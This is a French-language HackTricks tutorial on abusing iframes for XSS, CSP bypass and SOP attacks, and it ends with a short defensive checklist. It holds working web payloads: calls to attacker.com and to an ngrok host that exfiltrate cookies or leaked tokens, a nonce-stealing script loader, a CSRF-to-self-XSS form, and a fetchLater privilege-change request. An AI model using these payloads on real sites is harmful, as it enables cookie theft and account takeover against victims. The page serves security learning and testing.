Iframes dans XSS, CSP et SOP

Reading time: 12 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Iframes dans XSS

Il existe 3 façons d'indiquer le contenu d'une page intégrée dans un iframe :

  • Via src indiquant une URL (l'URL peut ĂȘtre d'origine croisĂ©e ou de mĂȘme origine)
  • Via src indiquant le contenu en utilisant le protocole data:
  • Via srcdoc indiquant le contenu

AccĂšs aux variables Parent & Child

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Si vous accĂ©dez au HTML prĂ©cĂ©dent via un serveur http (comme python3 -m http.server), vous remarquerez que tous les scripts seront exĂ©cutĂ©s (car il n'y a pas de CSP pour l'en empĂȘcher). le parent ne pourra pas accĂ©der Ă  la variable secret Ă  l'intĂ©rieur de n'importe quel iframe et seules les iframes if2 et if3 (qui sont considĂ©rĂ©es comme Ă©tant du mĂȘme site) peuvent accĂ©der au secret dans la fenĂȘtre d'origine.
Notez comment if4 est considéré comme ayant une origine null.

Iframes avec CSP

tip

Veuillez noter comment dans les contournements suivants, la rĂ©ponse Ă  la page intĂ©grĂ©e ne contient aucun en-tĂȘte CSP qui empĂȘche l'exĂ©cution de JS.

La valeur self de script-src n'autorisera pas l'exécution du code JS utilisant le protocole data: ou l'attribut srcdoc.
Cependant, mĂȘme la valeur none de la CSP permettra l'exĂ©cution des iframes qui mettent une URL (complĂšte ou juste le chemin) dans l'attribut src.
Par conséquent, il est possible de contourner la CSP d'une page avec :

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Notez que le CSP précédent ne permet que l'exécution du script inline.
Cependant, seuls les scripts if1 et if2 vont ĂȘtre exĂ©cutĂ©s, mais seul if1 pourra accĂ©der au secret parent.

Par consĂ©quent, il est possible de contourner un CSP si vous pouvez tĂ©lĂ©charger un fichier JS sur le serveur et le charger via iframe mĂȘme avec script-src 'none'. Cela peut potentiellement Ă©galement ĂȘtre fait en abusant d'un point de terminaison JSONP de mĂȘme site.

Vous pouvez tester cela avec le scĂ©nario suivant oĂč un cookie est volĂ© mĂȘme avec script-src 'none'. Il suffit d'exĂ©cuter l'application et d'y accĂ©der avec votre navigateur :

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nouvelles techniques de contournement CSP (2023-2025) avec des iframes

La communauté de recherche continue de découvrir des moyens créatifs d'abuser des iframes pour contourner des politiques restrictives. Vous pouvez trouver ci-dessous les techniques les plus notables publiées au cours des derniÚres années :

  • Exfiltration de donnĂ©es par dangling-markup / named-iframe (PortSwigger 2023) – Lorsqu'une application reflĂšte du HTML mais qu'un CSP strict bloque l'exĂ©cution de scripts, vous pouvez toujours leak des tokens sensibles en injectant un attribut <iframe name> dangling. Une fois que le balisage partiel est analysĂ©, le script de l'attaquant s'exĂ©cutant dans une origine sĂ©parĂ©e navigue le cadre vers about:blank et lit window.name, qui contient maintenant tout jusqu'au prochain caractĂšre de citation (par exemple un token CSRF). Comme aucun JavaScript ne s'exĂ©cute dans le contexte de la victime, l'attaque Ă©vite gĂ©nĂ©ralement script-src 'none'. Un PoC minimal est :
html
<!-- Point d'injection juste avant un <script> sensible -->
<iframe name="//attacker.com/?">  <!-- attribut intentionnellement laissé ouvert -->
javascript
// cadre attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → valeur leakĂ©e
  • Vol de nonce via iframe de mĂȘme origine (2024) – Les nonces CSP ne sont pas supprimĂ©s du DOM ; ils sont simplement cachĂ©s dans DevTools. Si un attaquant peut injecter un iframe de mĂȘme origine (par exemple en tĂ©lĂ©chargeant du HTML sur le site), le cadre enfant peut simplement interroger document.querySelector('[nonce]').nonce et crĂ©er de nouveaux nƓuds <script nonce> qui satisfont la politique, permettant une exĂ©cution JavaScript complĂšte malgrĂ© strict-dynamic. Le gadget suivant Ă©lĂšve une injection de balisage en XSS :
javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • DĂ©tournement de l'action de formulaire (PortSwigger 2024) – Une page qui omet la directive form-action peut voir son formulaire de connexion re-ciblĂ© depuis un iframe injectĂ© ou du HTML en ligne afin que les gestionnaires de mots de passe remplissent automatiquement et soumettent des identifiants Ă  un domaine externe, mĂȘme lorsque script-src 'none' est prĂ©sent. ComplĂ©tez toujours default-src avec form-action !

Notes défensives (liste de contrÎle rapide)

  1. Envoyez toujours toutes les directives CSP qui contrĂŽlent les contextes secondaires (form-action, frame-src, child-src, object-src, etc.).
  2. Ne comptez pas sur le fait que les nonces soient secrets—utilisez strict-dynamic et Ă©liminez les points d'injection.
  3. Lorsque vous devez intégrer des documents non fiables, utilisez sandbox="allow-scripts allow-same-origin" trÚs prudemment (ou sans allow-same-origin si vous avez seulement besoin d'une isolation d'exécution de script).
  4. Envisagez un déploiement COOP+COEP en profondeur ; le nouvel attribut <iframe credentialless> (§ ci-dessous) vous permet de le faire sans casser les intégrations tierces.

Autres charges utiles trouvées dans la nature

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Le contenu d'un iframe peut ĂȘtre soumis Ă  des restrictions supplĂ©mentaires grĂące Ă  l'attribut sandbox. Par dĂ©faut, cet attribut n'est pas appliquĂ©, ce qui signifie qu'aucune restriction n'est en place.

Lorsqu'il est utilisé, l'attribut sandbox impose plusieurs limitations :

  • Le contenu est traitĂ© comme s'il provenait d'une source unique.
  • Toute tentative de soumettre des formulaires est bloquĂ©e.
  • L'exĂ©cution de scripts est interdite.
  • L'accĂšs Ă  certaines API est dĂ©sactivĂ©.
  • Il empĂȘche les liens d'interagir avec d'autres contextes de navigation.
  • L'utilisation de plugins via <embed>, <object>, <applet>, ou des balises similaires est interdite.
  • La navigation du contexte de navigation de niveau supĂ©rieur par le contenu lui-mĂȘme est empĂȘchĂ©e.
  • Les fonctionnalitĂ©s qui sont dĂ©clenchĂ©es automatiquement, comme la lecture vidĂ©o ou le focus automatique des contrĂŽles de formulaire, sont bloquĂ©es.

Astuce : Les navigateurs modernes prennent en charge des drapeaux granulaires tels que allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, etc. Combinez-les pour accorder uniquement les capacités minimales requises par l'application intégrée.

La valeur de l'attribut peut ĂȘtre laissĂ©e vide (sandbox="") pour appliquer toutes les restrictions mentionnĂ©es ci-dessus. Alternativement, elle peut ĂȘtre dĂ©finie sur une liste de valeurs spĂ©cifiques sĂ©parĂ©es par des espaces qui exemptent l'iframe de certaines restrictions.

html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Iframes sans identifiants

Comme expliquĂ© dans cet article, le drapeau credentialless dans un iframe est utilisĂ© pour charger une page Ă  l'intĂ©rieur d'un iframe sans envoyer d'identifiants dans la requĂȘte tout en maintenant la mĂȘme politique d'origine (SOP) de la page chargĂ©e dans l'iframe.

Depuis Chrome 110 (fĂ©vrier 2023), la fonctionnalitĂ© est activĂ©e par dĂ©faut et la spĂ©cification est en cours de normalisation Ă  travers les navigateurs sous le nom iframe anonyme. MDN la dĂ©crit comme : “un mĂ©canisme pour charger des iframes tierces dans une nouvelle partition de stockage Ă©phĂ©mĂšre afin qu'aucun cookie, localStorage ou IndexedDB ne soit partagĂ© avec la vĂ©ritable origine”. ConsĂ©quences pour les attaquants et les dĂ©fenseurs :

  • Les scripts dans diffĂ©rents iframes sans identifiants partagent toujours la mĂȘme origine de niveau supĂ©rieur et peuvent interagir librement via le DOM, rendant les attaques de self-XSS multi-iframes rĂ©alisables (voir PoC ci-dessous).
  • Parce que le rĂ©seau est dĂ©pouillĂ© d'identifiants, toute requĂȘte Ă  l'intĂ©rieur de l'iframe se comporte effectivement comme une session non authentifiĂ©e – les points de terminaison protĂ©gĂ©s par CSRF Ă©chouent gĂ©nĂ©ralement, mais les pages publiques pouvant ĂȘtre divulguĂ©es via le DOM sont toujours dans le champ d'application.
  • Les pop-ups gĂ©nĂ©rĂ©s Ă  partir d'un iframe sans identifiants obtiennent un rel="noopener" implicite, rompant certains flux OAuth.
javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exemple d'exploitation : Self-XSS + CSRF

Dans cette attaque, l'attaquant prépare une page web malveillante avec 2 iframes :

  • Une iframe qui charge la page de la victime avec le drapeau credentialless avec un CSRF qui dĂ©clenche un XSS (Imaginez un Self-XSS dans le nom d'utilisateur de l'utilisateur) :
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Une autre iframe qui a en fait l'utilisateur connectĂ© (sans le drapeau credentialless).

Ensuite, depuis le XSS, il est possible d'accĂ©der Ă  l'autre iframe car elles ont la mĂȘme SOP et de voler le cookie par exemple en exĂ©cutant :

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

Comme indiquĂ© dans cet article, l'API fetchLater permet de configurer une requĂȘte Ă  exĂ©cuter plus tard (aprĂšs un certain temps). Par consĂ©quent, cela peut ĂȘtre abusĂ© pour, par exemple, connecter une victime dans la session d'un attaquant (avec Self-XSS), dĂ©finir une requĂȘte fetchLater (pour changer le mot de passe de l'utilisateur actuel par exemple) et se dĂ©connecter de la session de l'attaquant. Ensuite, la victime se connecte dans sa propre session et la requĂȘte fetchLater sera exĂ©cutĂ©e, changeant le mot de passe de la victime pour celui dĂ©fini par l'attaquant.

De cette maniĂšre, mĂȘme si l'URL de la victime ne peut pas ĂȘtre chargĂ©e dans un iframe (en raison de CSP ou d'autres restrictions), l'attaquant peut toujours exĂ©cuter une requĂȘte dans la session de la victime.

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes dans SOP

Vérifiez les pages suivantes :

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks